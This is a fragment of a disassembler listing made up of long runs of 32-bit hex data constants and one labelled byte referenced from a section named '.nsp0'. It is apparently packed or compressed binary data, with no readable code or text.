		dd 469061FBh, 93AB194Ah, 0A178136Ah, 141A1DA2h,	5F93DDBh
		dd 0AA18C247h, 0EB3104BBh, 942D2C90h, 716A1E2Bh, 8C613730h
		dd 0CA703F73h, 354C73B1h, 96BDD463h, 0AAE1523Bh, 0BE3C2854h
		dd 0B9723C0Dh, 8EBA647Eh, 1B3FDB0Dh, 0BD75B003h, 3BD6A1CDh
		dd 0AFDB9723h, 0FA186036h, 6B3E7CC1h, 0A3413B0Dh, 3AB6E8EEh
		dd 14E94166h, 8DB264B4h, 81B3904Ch, 7BB13526h, 2A5AE99Fh
		dd 0B5E608Ah, 327573ABh, 0B5C399E7h, 0B51C9C8Fh, 0DAFF0D2Dh
		dd 9B53B5FEh, 61B686F0h, 5C6D3910h, 0C9A3CC31h,	0F2CA4C9Ah
		dd 0DE34E3B5h, 0B00B164h, 0BB94C67Dh, 4EB86730h, 781380C5h
		dd 0A0B9CD5Ah, 78528E19h, 796A6F31h, 0EBA9ED95h, 0B7BB22C4h
		dd 0C18195BAh, 0FBB6B27Eh, 5BDC27A0h, 0F41880D5h, 10D71D52h
		dd 9ED2AF65h, 0BA39E4E5h, 0A2D9B358h, 0AD3CDB10h, 0C88E8071h
		dd 2E6C1DB8h, 4690E31Dh, 41AB7951h, 7336C360h, 0B48DAB72h
		dd 7B75A99Fh, 5680D61Bh, 0FDF29312h, 0EAC65B8Eh, 0D4E58FE9h
		dd 22FECF19h, 0F905E09Eh, 1B487CF9h, 9F8B8E6Ah,	0D9525344h
		dd 73D3625Fh, 119A2CC7h, 979024CCh, 71B16BB4h, 0D1B23A9Ch
		dd 998C0D25h, 610683DEh, 1490EE39h, 0D1B3B79Bh,	0C7F426AEh
		dd 4F9B4052h, 21808F82h, 26385342h, 87EA534Ch, 0A63AC8DFh
		dd 4839F506h, 224757B1h, 8C20DA6Ch, 8CC6C1EFh, 5E3BA467h
		dd 25073810h, 730A93A7h, 0A7B17B9Eh, 0F583EB50h, 0C3BF1618h
		dd 55224A10h, 0D12544E0h, 0CC41A1EDh, 0BF100BFDh, 0E15ED7B3h
		dd 378FA588h, 4EB9B6F8h
		dd 55B213DFh, 0C205829h, 759FEAAh, 0E0A0374Fh, 0EFFDCAFCh
		dd 3530C710h, 0BF1F4ABh, 1C25BB2Fh, 0C49AEC60h,	9F2F2138h
		dd 0B1AF675Dh, 0F73F315Fh, 32C1BB5Ch, 674E6937h, 0AB43C6B1h
		dd 1E000604h, 133CB30h,	809D6962h, 407724Ch, 3B6E334h
		dd 48D5553Fh, 8B89B6F6h, 0F259833h, 95CDFA00h, 0A95DBDFFh
		dd 728D697Ah, 49BBE26Eh, 0F650A28Fh, 4A8737D8h,	33DFB33Ah
		dd 5F779634h, 0CFC6B998h, 0D467CCF2h, 65A5DB6Ah, 0A7173B3h
		dd 0B19ADCAh, 0A05573A7h, 3DDFEFD8h, 68153F22h,	0A784D4BAh
		dd 7E98D220h, 0C4FC8440h, 4C81C317h, 5E653454h,	0C407DEC9h
		dd 9F2D213Dh, 0B419F5Eh, 0BF55184Ch, 3B046AF0h,	0BEF1FAC7h
		dd 0E814C48Dh, 63187C00h, 7FA3214Ah, 6BA8A147h,	0EC9BFD04h
		dd 0EBCFB2F7h, 47E11B4Eh, 3ADF687Bh, 0AD46921Fh, 0C632A142h
		dd 0FC24DCDAh, 0BA1F7636h, 0FEB25F69h, 0AAD0E38Bh, 7DDB2C67h
		dd 0DA985CFDh, 8CE3020Ah, 0CC7EDE12h, 0CF1C0C3h, 86C6CCF3h
		dd 7FED13B6h, 16901162h, 584B50F4h, 6C084357h, 0EF48F12Eh
		dd 1E0ADFE0h, 0D8A0F620h, 0A864FCF7h, 6537A0Bh,	27EB3485h
		dd 7F4626ACh, 0BA8C6741h, 1E9EE46Fh, 9E406589h,	9E00D835h
		dd 9C30BF0Ah, 0AB792D86h, 31BF43D6h, 0AE8BE135h, 6D6DA5F9h
		dd 13EC3682h, 0D0590782h, 0E6C8C4C1h, 8722AD5Bh, 1015B9E1h
		dd 3ABFE479h, 35E9DEC7h, 9FC73D41h, 82592ECBh, 0E33E128h
		dd 7C3BB472h, 0E7BE3A9Eh, 5BA30EDFh, 94426AEDh,	0DEF9A36Dh
		dd 0A58BD87Ah, 0D2E7CC4Dh, 3A415568h, 8D3BE4A3h, 3D986706h
		dd 897788BEh, 22D07F23h, 3507E434h, 620ABAE0h, 0E90957A7h
		dd 2928B27Ch, 0B5392784h, 70A4F7E0h, 0CB334026h, 0C1607E8h
		dd 177CD18Bh, 0BCEA65h,	9662BC4Ch, 0F78209B2h, 6EB99493h
		dd 547426AEh, 1523847Bh, 19C56656h, 5866236Ah, 3E153668h
		dd 1BDC625Bh, 0EDC02FAFh, 8BF47CFAh, 0FE6FFD51h, 6E619436h
		dd 0C41F4C4h, 0EECB5C8h, 690DD576h, 3A746B96h, 46B1AA3Ah
		dd 0C00A1129h, 5366C3D5h, 4C3B6096h, 89FDE563h,	0FD795494h
		dd 9A81A80Fh, 917AECD0h, 34D5D5Ah, 27C2787Fh, 289FDB3Ch
		dd 0A2BCBFA6h, 734899Fh, 0EFBA4B7Ah, 0E0428EAFh, 0B35529C5h
		dd 9A6C577Ch, 0B44A1C43h, 7D139BEh, 98456B66h, 46552054h
		dd 0C2E11184h, 3319251Eh, 74EE3153h, 650D6EEFh,	77BA176Fh
		dd 4888CEE3h, 0FE29EEBFh, 2B21E8h, 0F59462DBh, 15E83DDEh
		dd 3BF99B50h, 0D5A347D5h, 46B0D77h, 84A15CF1h, 9103D44Ah
		dd 0B60709F3h, 8181DF6Bh, 7B0ED299h, 8542E523h,	0EC003107h
		dd 6F52F654h, 0ECD1C046h, 0CA1DD898h, 3C1623FAh, 0FDC074F6h
		dd 0BAD3498h, 23A03EFEh, 4A457E34h, 74270741h, 0C92E9BA1h
		dd 872F4BDEh, 17306A6Eh, 6E719587h, 21E6D12Ch, 0F58E20C2h
		dd 0D5C361AAh, 0DE5F9F9Bh, 65235F7Fh, 68D14C55h, 4D124DB5h
		dd 9CCC4554h, 0E9939BFAh, 47BD6688h, 0B626BC93h, 0FCD56278h
		dd 0F3FC346Ah, 807A08C7h, 0B730EE62h, 0DBC6E695h, 0DCB67BD3h
		dd 7508DF18h, 9E113A80h, 52BB5D93h, 4FC431D2h, 3FC8FF35h
		dd 5C737CDDh, 0B04E4DE4h, 4463FA83h, 78B436CBh,	59EC01E7h
		dd 62796B6Ah, 2A7C56D1h, 3C5A6F05h, 0ED33D505h,	33F72B86h
		dd 9D122802h, 7A1520B6h, 62C724EBh, 844329AEh, 81947119h
		dd 0F39D3B3Ch, 0E8AAC071h, 605DE946h, 0A16BB0B5h, 56C9F238h
		dd 0EFD7C77Bh, 4C36DA9Ch, 0C68DD531h, 0E0D24FEEh, 0B3ED8BFEh
		dd 59026D1Bh, 0A1118C08h, 0AFADE126h, 6B85562h,	0BD876CF2h
		dd 0BC7ACF68h, 3928E47Ah, 8874E6DBh, 855C4FDAh,	0FB22B05Fh
		dd 6BCEA77Bh, 0BD2FAEC7h, 0E12AC80Fh, 483B257Bh, 22A4F65Ch
		dd 97B0B0CEh, 68D244CBh, 34B6DA97h, 610F15A5h, 0F887F01Dh
		dd 0A080B512h, 8A3B6562h, 0CAE60DDFh, 0F208831Ch, 8C62421Ch
		dd 1DCCFA83h, 91B3A0FCh, 921A69DAh, 0A509FC2h, 0CAA1F14Bh
		dd 191864D0h, 18C5CEC8h, 5DF228C9h, 95E36990h, 2733E3A8h
		dd 409CB0A6h, 0D7025FFFh, 0C9911542h, 745C03E1h, 0BD46A038h
		dd 0C4AEF21Ah, 0E4165BB3h, 0C67B87BAh, 0A224F6A2h, 0DEC9E1A3h
		dd 0E207A9E6h, 892A7544h, 6D069D71h, 5D331E17h,	7B5851B2h
		dd 52AC061Ch, 88674454h, 12E3C79Ch, 20B9092Fh, 0C61CE8DDh
		dd 5298BD94h, 953A598Dh, 4C0B4C6h, 1FABF5EFh, 90FD0F9Fh
		dd 6DF1B7BDh, 671D1C9Bh, 7D8DFD22h, 4EA67981h, 16CA3DD8h
		dd 0A0110FC7h, 61A63035h, 88557ABh, 3F7CA60h, 0D5A19975h
		dd 0DF90AAF2h, 4092E846h, 761E616Ch, 16163A0Bh,	0A9E114E1h
		dd 0EA0C14F2h, 5FF97A05h, 6796474Bh, 1701E38Bh,	696DE5A0h
		dd 2CC47116h, 74B742Eh,	2AA8D891h, 0F51CA2B7h, 0D9348690h
		dd 7E236DA8h, 37BC960Fh, 8EAA55E9h, 9CF5E153h, 477248Ah
		dd 0C0760CD4h, 0E560658Ch, 5673E027h, 6AB95E42h, 16A3A5CCh
		dd 0CBCEA94Dh, 5DC4EE6h
		db 9Fh,	78h, 0D7h
byte_494843	db 0B8h			; DATA XREF: .nsp0:00428640o
		dd 2069B8C6h, 1ECD2FF7h, 0E384AB7Eh, 9CD23BFDh,	988520Eh
		dd 0AF77804Eh, 0C180356Ah, 9C1D365Bh, 0AB6E6A5Dh, 0BEFE5C0h
		dd 306C6663h, 8E2181FFh, 17E2A644h, 40780F8Ch, 8480733Bh
		dd 454D2453h, 2784934Fh, 0C18C1817h, 21410B39h,	4A383CEDh
		dd 1E34B56Fh, 8E57A691h, 0BFE290CDh, 20CA59F3h,	1F0682AEh
		dd 378121D8h, 259194F7h, 858E275Ah, 0F91BE015h,	8DB2B37Dh
		dd 8796DDE4h, 8DA11AB9h, 2D05AF7Dh, 84DC5ECAh, 7AE135C0h
		dd 0A9D9885Bh, 10A4AFBFh, 0A21B2011h, 1FA18BA0h, 0C18F7434h
		dd 7EF1BD52h, 22231474h, 0E8C87F59h, 0FAD0147h,	2BF97742h
		dd 0DA5BA8A5h, 2ECC2C25h, 469A2218h, 0DA78BB2h,	0BFC235E4h
		dd 77BE4790h, 0C41D6A5h, 91F58CC4h, 4BDE9590h, 0DD31CDD7h
		dd 0E32933Ah, 738A18A4h, 78B97F7Dh, 9C3503DCh, 0A097ADF5h
		dd 61427DB1h, 0FF55B719h, 2E4E4658h, 0A3C65EF9h, 0DB823EECh
		dd 0A9EEF78Fh, 980F7C9Ah, 31CD16EFh, 0F33950D4h, 713422B7h
		dd 2A526820h, 0E1147B5Eh, 92C36D99h, 86656291h,	4DBA6A73h
		dd 3EE47286h, 0E2836FFBh, 0E4880503h, 0E712EAC7h, 0C2080441h
		dd 83FA73E4h, 551E5788h, 5DA4AA67h, 0D54DADB4h,	434D3C94h
		dd 6DC15E63h, 5FE7511h,	0B55DAD01h, 19340E9h, 0AD89719Bh
		dd 18C62BF1h, 35FA4CD7h, 7C541F81h, 0F9B79607h,	77357625h
		dd 47CFE69Dh, 0D4D08817h, 0C0C6CF4h, 11BC00A2h,	0EEFBA9B1h
		dd 8B5A2734h, 637F566Fh, 807F6B82h, 0FE12C884h,	5C67AE88h
		dd 2F284EE9h, 3C2DA5A1h, 67120011h, 70693A8h, 64C5E016h
		dd 0BC277DDCh, 691E4F02h, 0C22B3F4Eh, 4BBAAC43h, 0B1403EBh
		dd 43EEFE13h, 97FC13ADh, 0FCA4A8BFh, 4217D720h,	0BF757A93h
		dd 51703735h, 5604ABAEh, 0C8CE5EEAh, 0A519F66Ch, 6B17352Ah
		dd 37348AC5h, 4D67E6F2h, 4C29B5D4h, 0FC039034h,	6A02F395h
		dd 9096890Dh, 0CC6C51D4h, 0B7885AD4h, 0C7D70704h, 12564797h
		dd 75146A4Ch, 0C33FD9E6h, 41D37AE8h, 0CFF18A34h, 268101C1h
		dd 0E691AEC3h, 78E0EF6Dh, 0F5D781B2h, 759ABEFAh, 20B657C3h
		dd 0D4F23C93h, 28DDF701h, 0EB2BD1B5h, 0A6F2044Bh, 0D6FDF83h
		dd 865E6508h, 9AC60111h, 0BA01EAF9h, 0C6C1495Ah, 0B06D29EEh
		dd 0A207B441h, 0F254B664h, 70162851h, 5440C96Fh, 0DA1B10C1h
		dd 0B7ABFCD1h, 32557360h, 6C8EA848h, 0FCF2BC60h, 0C3E5155Ah
		dd 0CFB98235h, 0CE744951h, 5DAF9B17h, 991DAE4Fh, 94E1A2D1h
		dd 671A881Bh, 0FC49C430h, 43F9F15Dh, 6AF27D69h,	9A4CD2FAh
		dd 0B245BDEh, 0A2289DDBh, 0C32E73F9h, 31193AF2h, 786CBE1Dh
		dd 9B45CD14h, 7400E7D5h, 28F6EBA3h, 18EB46BBh, 404E6C37h
		dd 371D7FF8h, 82A3BF3Dh, 0C8DED81Eh, 0CE583A9Dh, 2B935AFEh
		dd 0CE4DBCF6h, 0D1577112h, 268BFBB3h, 57693014h, 0CE795548h
		dd 0DD2EF649h, 619CBAA1h, 0D0B02D5Ah, 0A6929661h, 0E3D36D6h
		dd 2E47EA15h, 9E5CB31Bh, 2285D98Dh, 0A4A36499h,	0CCD520E5h
		dd 0DD500819h, 6BDF6C1Eh, 2C879242h, 11CC9E79h,	0BB4215B4h
		dd 0BFAA6F02h, 6EC06B90h, 0F2379920h, 0C5D1CA6Fh, 0FA2CE145h
		dd 49D7EB9Bh, 4EFEAF19h, 0BD7D5773h, 0DF7C9D77h, 43A8003Fh
		dd 49C9092Eh, 0CF4FEA6Dh, 81F4CB8Ah, 0AA2580B3h, 75F88DB6h
		dd 692FB918h, 171583EAh, 131B61ECh, 171B66FBh, 625602E5h
		dd 9DADD040h, 0A4A1C6AEh, 7BEE2651h, 0D3B6010Eh, 69D7FF6Dh
		dd 0FFA0FE3Fh, 862339C8h, 6F5F0CBAh, 1F1D971Ch,	0B441396Fh
		dd 6F0A0425h, 0C48E0049h, 3396C73h, 87B787CCh, 0DB74BD15h
		dd 7FE14301h, 0C83EBC7Fh, 8BE8DF1Dh, 5E276B9Dh,	0C9E9FAF3h
		dd 3E321C75h, 332491DBh, 17B6B3A0h, 6EBA140Fh, 198F6C9Bh
		dd 2C4F376Eh, 1994E443h, 0E1DA1E2Bh, 718F3518h,	0C1EEEB92h
		dd 636DB1C5h, 5B0D7794h, 0BD834CDDh, 84C21C65h,	2EC5B75Ah
		dd 0F3484h, 3DF8A9A9h, 0F1E41D0Ch, 0D090A718h, 6E983787h
		dd 98354D01h, 0D3236D1Fh, 3990DEF7h, 93826C83h,	0C793A048h
		dd 0E3B42236h, 24AAC729h, 0FCF184FAh, 90453B74h, 9783A41Ch
		dd 0CEFFBA5h, 0DDB8CAFEh, 37766339h, 5CEA042Ch,	6926C1E9h
		dd 365DEB16h, 0D5D136A8h, 25694170h, 5CCE0AB1h,	1920D07Ah
		dd 2B1129E0h, 1DF65B16h, 69569DC7h, 1A06926Eh, 0E16DCF7h
		dd 5A48C3F0h, 0E19A317Dh, 0C503274Ah, 6F924DBFh, 11B3AEC0h
		dd 79C89870h, 392BBAF0h, 7F694680h, 0EBC1651Ah,	0ADA6A8BBh
		dd 0FE743497h, 46EC81C8h, 767839EBh, 0AF35FCFBh, 6B5146B7h
		dd 0E069DBFEh, 0D552F9EDh, 0B216299Fh, 0F36559B5h, 603C4559h
		dd 0E40CEF9Fh, 837EDBECh, 95CFC58h, 1064F99Eh, 0C1F12222h
		dd 74D580AAh, 0E153B086h, 0D16F901Ah, 0DB5396F5h, 2847B937h
		dd 33191819h, 81262C24h, 75948FF3h, 0F14854BBh,	6B3DF2B2h
		dd 62575F51h, 0F8CB9426h, 0C6F4B013h, 0BD69B3A6h, 0ACC16922h
		dd 0C75BF1F1h, 0EE05A570h, 95E0E03Ah, 3A074C00h, 0E1138D12h
		dd 5A3B3FC2h, 0BE850468h, 0F490F4BCh, 0EA92B0C3h, 45ABD237h
		dd 6A358539h, 0FDD79DFEh, 4A68891Ah, 0E081076Dh, 0AD996FCEh
		dd 0CE243988h, 0E0D3ECD4h, 0E97B5BA1h, 0F05B2672h, 0A2969BA6h
		dd 526EC722h, 0C49B402Fh, 0CBD82183h, 5353CAE5h, 0CED778B6h
		dd 264BC18Bh, 0B5ED6AD4h, 0AC9E6CD2h, 0F6F385A6h, 43972F60h
		dd 0CF956181h, 172444E4h, 0A2ED3AB9h, 30B023E1h, 3905EF39h
		dd 98F8AB1Dh, 0F7F9A37Ch, 11A6A8Dh, 0A09F9BC7h,	84A2E952h
		dd 0C967782Ah, 59B638EDh, 0F06A13Bh, 7B49E55Fh,	3B1A70ABh
		dd 0FB175898h, 450334B3h, 5395A862h, 24E7BE09h,	5758DACAh
		dd 1F5C2BB2h, 545040D9h, 1B584B9Dh, 0CBE641FCh,	0B168BECBh
		dd 11248A81h, 0BAFB952Eh, 0AF5350EBh, 0E6C68824h, 0F501F2E5h
		dd 17F32E3Dh, 0B7F54DBh, 0A6E47538h, 0AD10F8A6h, 713453F0h
		dd 0D4AB698Bh, 0A013CB02h, 7D4F94F6h, 7E67EB28h, 279318A8h
		dd 0A361500Dh, 872877Eh, 0E7437A2Ah, 4A367DB0h,	2D4846E5h
		dd 0EF8CFB9h, 6696976Eh, 727DA99Bh, 1861C1E5h, 0F6EAB8B7h
		dd 1EE022E2h, 9F511C17h, 0D1C4E6Fh, 8D2A01C4h, 17CD1CD4h
		dd 0EB342A8Ch, 0EB5A7EE7h, 3A94AEF0h, 0B9DBA354h, 0F71049FCh
		dd 3C50C695h, 0ECBC749Bh, 0B6DD463h, 0A62B56B9h, 0B58C32ABh
		dd 6AFFA58Fh, 0B3D74F1Ch, 0A285999h, 562151B6h,	0E6047837h
		dd 0E84618B2h, 381AF252h, 73CB9646h, 0F5E2167Eh, 3B7D3A96h
		dd 0D9BFF6F0h, 0F6731962h, 0C685DC74h, 349973B5h, 7DDC5E78h
		dd 113F1759h, 7C3B1CAh,	0DB5A62FFh, 0C7E74D8Ah,	71F56879h
		dd 1C0A7DAFh, 7DA2BC2Ah, 248709ABh, 21150E6Bh, 865519ECh
		dd 6BD1E802h, 0E90BAFF0h, 0A8576818h, 256DF59Ch, 3E291B96h
		dd 0D52D2CF9h, 0DA3658C0h, 1FDA01E8h, 5B0736ADh, 5399622Fh
		dd 57A2921Bh, 27172537h, 0FD37442Bh, 259D0559h,	60EC403Ch
		dd 7D93D66Fh, 0BB123304h, 8029B0F7h, 79D23B2Eh,	41D7CAADh
		dd 0CD7031E0h, 11BA6832h, 0D2D10F60h, 0C4A238C6h, 80763DCCh
		dd 0AA4A5A53h, 0E9A4D332h, 179D183Ah, 0DA9327CBh, 0DCEB34C2h
		dd 0B741385h, 6632BCECh, 31329E7h, 585FC531h, 7FC8CA1Ch
		dd 0ED2125E4h, 572AD019h, 0B2807BECh, 2D18B11Bh, 7A74D6E3h
		dd 2FABCFD9h, 2895472Dh, 924AFA90h, 44C06EC2h, 62EEE300h
		dd 6321C2DCh, 4E1D4664h, 58A9061Dh, 646FD96Fh, 7162B501h
		dd 0ED6278E6h, 0D116D615h, 134348C5h, 0CDF812F7h, 14F5B6E3h
		dd 99E923FDh, 1DB99774h
		dd 636082F0h, 9CE92B22h, 2E0DE279h, 0C72BD02Ah,	7CA0BBCDh
		dd 72422132h, 0EDEFDAAh, 0D79C5E2Eh, 372EE762h,	0B2F85F09h
		dd 9BC5C3A7h, 5A9362EDh, 44746F4Dh, 406F9B40h, 97D74B87h
		dd 0B9FA398Fh, 66BF8ABEh, 5BEA1DD1h, 0D1474BFDh, 5B519696h
		dd 2AF5D502h, 0BC46DA65h, 4FEFA0B4h, 68598E19h,	9C765A7Eh
		dd 2A9B4DC5h, 46460B19h, 708A6A62h, 30EE7504h, 0BB1C464Ch
		dd 43DF648Ch, 0D7425DEAh, 1823A3BDh, 660E5B30h,	0FD0BBA72h
		dd 27EEBFE4h, 0D2D02D8h, 8406016Bh, 3A73BF2Ah, 7520CE16h
		dd 240F045Bh, 65A496BEh, 0A3AB5D98h, 173007A6h,	54DE8EC8h
		dd 113D1980h, 43EE0699h, 48BBCC71h, 7D7F56C6h, 5486D229h
		dd 0D6C62E30h, 0F4A9E1E0h, 0DE71374Fh, 0A8D35B81h, 0EA51FF28h
		dd 0D2D1960Ah, 5D16ED6Ch, 5745872Eh, 0FAB94F5h,	122CF686h
		dd 7C10CACEh, 9AABFD9h,	48AB291Dh, 0DB025646h, 5156C220h
		dd 5EBA88E2h, 0AD2CA083h, 0B1B9FFA4h, 0EC5DDF15h, 0CEA7D8D0h
		dd 5E7811C3h, 0BC9BC9DFh, 0E47B5DC8h, 70B3F944h, 0EEEC46A6h
		dd 5E5B1210h, 54F19F76h, 0B0EF32A6h, 3A5CCA52h,	0C1C9032h
		dd 0E74C45F4h, 90C12AC9h, 6EA2769Bh, 7B8FF567h,	0D1744C65h
		dd 0A49A5465h, 0EB1B3E77h, 6211883Bh, 893B243h,	2F3365C6h
		dd 0C15E0D91h, 0F1844BB3h, 0EDE414BCh, 22D8B0CDh, 94FF0650h
		dd 329AB719h, 0A5D1E8F4h, 0D1332ABCh, 0B6B2B02Dh, 0D2CD5B90h
		dd 8F4E08CAh, 160B412Fh, 0AFE4536Fh, 6724901Ch,	0ADA1CDC4h
		dd 73470DD6h, 56D02162h, 26EAE46Fh, 0CAB8EDF5h,	7378ECC2h
		dd 6E6A3000h, 8D5527B9h, 9C207319h, 541CE889h, 0DC5CDE48h
		dd 0A18BD5E6h, 66D6B407h, 0DC5C6716h, 99FB8F1Bh, 0F211946Eh
		dd 7EF63502h, 423BAA0Ch, 81EA9B48h, 24818A97h, 0F781AB54h
		dd 92FA9644h, 8CDC7DEDh, 302689E2h, 1A32D3FDh, 0B052EBFBh
		dd 2052B74Ah, 0F613856Dh, 0D67869E7h, 0A76C7E31h, 7FB5FC4h
		dd 0B11F275Bh, 1E639535h, 56653C02h, 50574479h,	0FCE348Dh
		dd 0F33E4A91h, 835E8AC4h, 37B10A13h, 0E58FC705h, 3B251A5Bh
		dd 0A0813C37h, 39B2FF66h, 298DB6C7h, 0A10E2965h, 12CEB89Eh
		dd 0E4D770C3h, 0B8E3DC87h, 0C2CDCBA8h, 0D10AB13Ah, 684F0A13h
		dd 0B7A1A853h, 0CFF96222h, 7AC27BC3h, 0DA4083F7h, 9603B7A4h
		dd 0F7FF36C1h, 80FE0B1Fh, 0AA7679A1h, 427D5ACAh, 42079FBh
		dd 0AE32EAD5h, 0E4EF0379h, 0D4611A47h, 45CD1A86h, 0CAB7A28Eh
		dd 4762ABB0h, 9EC6D73Fh, 0D38BB618h, 824D028h, 0C2DD07C0h
		dd 0B3F3CCCAh, 0FDB738C1h, 744849B0h, 0E415E1F9h, 0E68B0843h
		dd 0EC2E2E37h, 0F966B463h, 8D15EAC8h, 0E21D18F3h, 0E38B695Dh
		dd 0CAD4DD4h, 0FF6F66E3h, 61A1EC12h, 5B882DFDh,	4125338Dh
		dd 0FA051201h, 0CA0B0C18h, 2282CA8Ch, 0CC0E7F72h, 829FB383h
		dd 0BF52FFDCh, 9B656E1Fh, 9D8F329Eh, 54038FD8h,	5B6032C1h
		dd 9994C1EFh, 1CACA388h, 4E23115Eh, 2C726195h, 2600DAA9h
		dd 3F9E273Dh, 9A134E3Eh, 0F347D9EBh, 14214D55h,	5B0D98A8h
		dd 2FE9C6Fh, 471E4D25h,	0E71678A5h, 7FF34C30h, 0D79A0BA8h
		dd 2A253D9Ah, 8592D3F1h, 0B56D0BD0h, 84CDD688h,	0B12035CFh
		dd 8B9D2AE6h, 0B8262074h, 470EACF0h, 1FE2B797h,	2BD553BDh
		dd 0F7012E39h, 9DB3148Fh, 0D5DE3CB4h, 8BBC92FDh, 0A233291Ah
		dd 0E24A64CAh, 89C8FCCEh, 0D6FDF77Bh, 0C40F2120h, 0D8792099h
		dd 5DD5BE6Ah, 5119CBCh,	0C19A9F62h, 1DBD6268h, 0FC788037h
		dd 8666442Ah, 480C7F12h, 4CF30845h, 59907416h, 0DDD9EC67h
		dd 7E525C0Ch, 81FFCBDh,	0CD10DA82h, 8174AC9Bh, 2D3860AFh
		dd 0D36BF02Eh, 8869DB3Eh, 0A14DB6B2h, 0D12CE136h, 0A881D824h
		dd 383E11A0h, 39FDD7D1h, 7351DB2Fh, 4878645Ah, 0D2364B0Dh
		dd 8B3FEA1h, 82A80E90h,	96AA3695h, 54F21D28h, 0B3973604h
		dd 145BC118h, 6A754CA3h, 0F83A1F05h, 0DFBC9774h, 0D967B45Ch
		dd 486F4FAh, 166CDA19h,	956C9CDBh, 0CCE18FF1h, 45C49031h
		dd 0F777D50Bh, 785F78A5h, 0BE2729B3h, 9E4A5452h, 0D2F42A9Eh
		dd 52CBF6B5h, 3EF8270Ah, 22DCC3FFh, 49D1C39Fh, 11828BF0h
		dd 0B2B33896h, 1CDF1B81h, 0C4F9C2EEh, 0DD834FF2h, 638649C7h
		dd 5F0ADA0Ch, 0C4260134h, 0AA122993h, 0F8E43CC7h, 5C672DDFh
		dd 1791BCFFh, 89631E1Ah, 5C06D715h, 9B800FBh, 0FD0CE5F7h
		dd 0A62BB9FBh, 842C5345h, 1E973FECh, 2579D715h,	0FC4E9458h
		dd 0F067994Fh, 762D5456h, 0FB088C2Dh, 0F1302035h, 512CFD9h
		dd 77953A02h, 816B6D4h,	571D599Ch, 0BDE4F4A0h, 8F2BC16Eh
		dd 0BF1EF01Eh, 80295C0Fh, 111FC2Eh, 8D8BE619h, 9CD08BDAh
		dd 76F2DA17h, 4A72AA0Eh, 708E3461h, 0DCD1D87Ah,	72D1EFC0h
		dd 24225222h, 0BF0F9A5h, 0A0396545h, 130822A9h,	0CFF5BE56h
		dd 4A91C6D8h, 0BBAC1B89h, 0F6B3FB1Eh, 7E3C6F1Fh, 0B474923Eh
		dd 60840750h, 83922A9Ah, 564494F7h, 7C020270h, 6BC95315h
		dd 0CA0EA65h, 0E039597Ch, 11EA2601h, 0DD38BFABh, 6491A7Eh
		dd 0E81D83BBh, 0D310555Ah, 393D7C25h, 0C67C4F29h, 2A23B6E4h
		dd 0CF5D26FCh, 29A392E2h, 2899BF87h, 0FEC03B79h, 8FD3A225h
		dd 9335D72Dh, 1AAE7A2Bh, 0FBE5F9B0h, 8376304Ch,	0F8A506Fh
		dd 0A31788E2h, 36E34A9Eh, 9A9FD51Ch, 0BE0C54E0h, 56C1DE25h
		dd 0C2DD9D6h, 83519ABDh, 0CA7028A0h, 0A81D05C8h, 0CDA62C00h
		dd 0E922B020h, 0B33C1E18h, 0E6DE2D91h, 414E7598h, 0B1C69BCEh
		dd 0A6BDDA5Bh, 55848CE9h, 87597F03h, 7DD1FE1Dh,	0FDA4B21Bh
		dd 28B3AF7Eh, 9BFA8EC0h, 0F63FD638h, 69914DA1h,	0EA8157CCh
		dd 780801D1h, 126B404Fh, 256F8F88h, 620EA34Ah, 0C3CA5AA9h
		dd 0EDB14495h, 0F1F290C6h, 6A193A4Bh, 0D5B346CAh, 21C54303h
		dd 670E0236h, 675BE343h, 0DE6B211Bh, 0B975F85Ah, 6C0026CFh
		dd 7E05B07Fh, 0F3E39F47h, 0BA1A3354h, 0A2F5090Bh, 0E1A8D790h
		dd 0FD14D849h, 8399599h, 0C9D66360h, 8261489Ch,	91A947F1h
		dd 2D0A9199h, 7AFEA585h, 87CD0561h, 0B56C434Dh,	67FF3633h
		dd 34782319h, 6ECE9BB4h, 3C0302FEh, 28A643A9h, 7E0E2F87h
		dd 0E27E5815h, 0A80B5990h, 9E71994Bh, 0F041D19h, 9134747Ch
		dd 69A1DCFEh, 811BD33Eh, 699189FAh, 37DCDCEEh, 2CC68566h
		dd 17B98B2Eh, 9E9C076Eh, 70DE207Fh, 0CEA89767h,	2346192Ch
		dd 2041881Fh, 0B72155C1h, 0DB133267h, 95ADB95Ch, 4C152F0Bh
		dd 0C3C27349h, 178EC678h, 7586CE89h, 23D12FE2h,	0B35C6F4Dh
		dd 87A06E3Dh, 0A7F593D9h, 6EDEC9EDh, 0F00786F7h, 4EDFC7A4h
		dd 3F29DA66h, 8856EF0Ah, 0AC05DA39h, 0B3DB6341h, 794B917Dh
		dd 3AFEE63Ah, 409CE49Ah, 0D576A71Ch, 0CBCAB4C0h, 3AEA38D3h
		dd 0BF4D088Fh, 2EEB94D1h, 9481256Dh, 0C2BD2419h, 0B3FC391Bh
		dd 572AAEE2h, 8D3CBB27h, 2AAFAE24h, 6419151h, 7CA10877h
		dd 5F72E71Eh, 284AEA4Ah, 77EC1E0Dh, 0D13450C6h,	57D8AA3Ah
		dd 6959B859h, 0A5D2DEFEh, 0A9323725h, 5198625Ch, 0AE69D045h
		dd 0E1976088h, 43038B40h, 0D52747C4h, 30CA7D4h,	0BCB83797h
		dd 4B5194DCh, 2E1B6F52h, 3A3EA7Ch, 0F30B9F9Bh, 0C375F361h
		dd 6757EF6h, 2744394Dh,	414278E7h, 9DE7C01h, 4C9CF29Ah
		dd 6CDA3B3Fh, 0EC33EF9h, 0C9981241h, 1E4A02A6h,	0FE2E153Fh
		dd 0E3FE96C4h, 0A9AEE9D2h, 0DF3F123h, 0D7C3B58Ah, 1417C3E5h
		dd 550AC597h, 5FCBE113h, 7EA48776h, 58890A3Ch, 8AE1521Ch
		dd 946DEF86h, 9A0A3D4Bh
		dd 37BF41A2h, 0FD8A1CA1h, 0DCF43BA5h, 0B61F1FE7h, 3B33C6CFh
		dd 0ADBA0915h, 6370EB9Ah, 90280C21h, 25428588h,	3BDB5B72h
		dd 42983A38h, 371D9406h, 507B813Fh, 4D84C761h, 2B17DE9Dh
		dd 0C54B1FF5h, 915AF0AFh, 64BC63FAh, 0A5B86294h, 8CE69A1Eh
		dd 0D30F442h, 5FE3E78Bh, 2FD62F97h, 8D5BBA7Bh, 0B471A29Bh
		dd 59407C71h, 0EDB716F9h, 1623A401h, 8078EA8Fh,	35A50165h
		dd 507820A2h, 510884EFh, 6CA8C6A0h, 3CBAB239h, 0D159BA97h
		dd 8DE7264h, 0F9A0BE28h, 776325FBh, 0FE834F94h,	41DF7AF9h
		dd 233F1076h, 76024136h, 79259ABAh, 0F034AED7h,	285ED031h
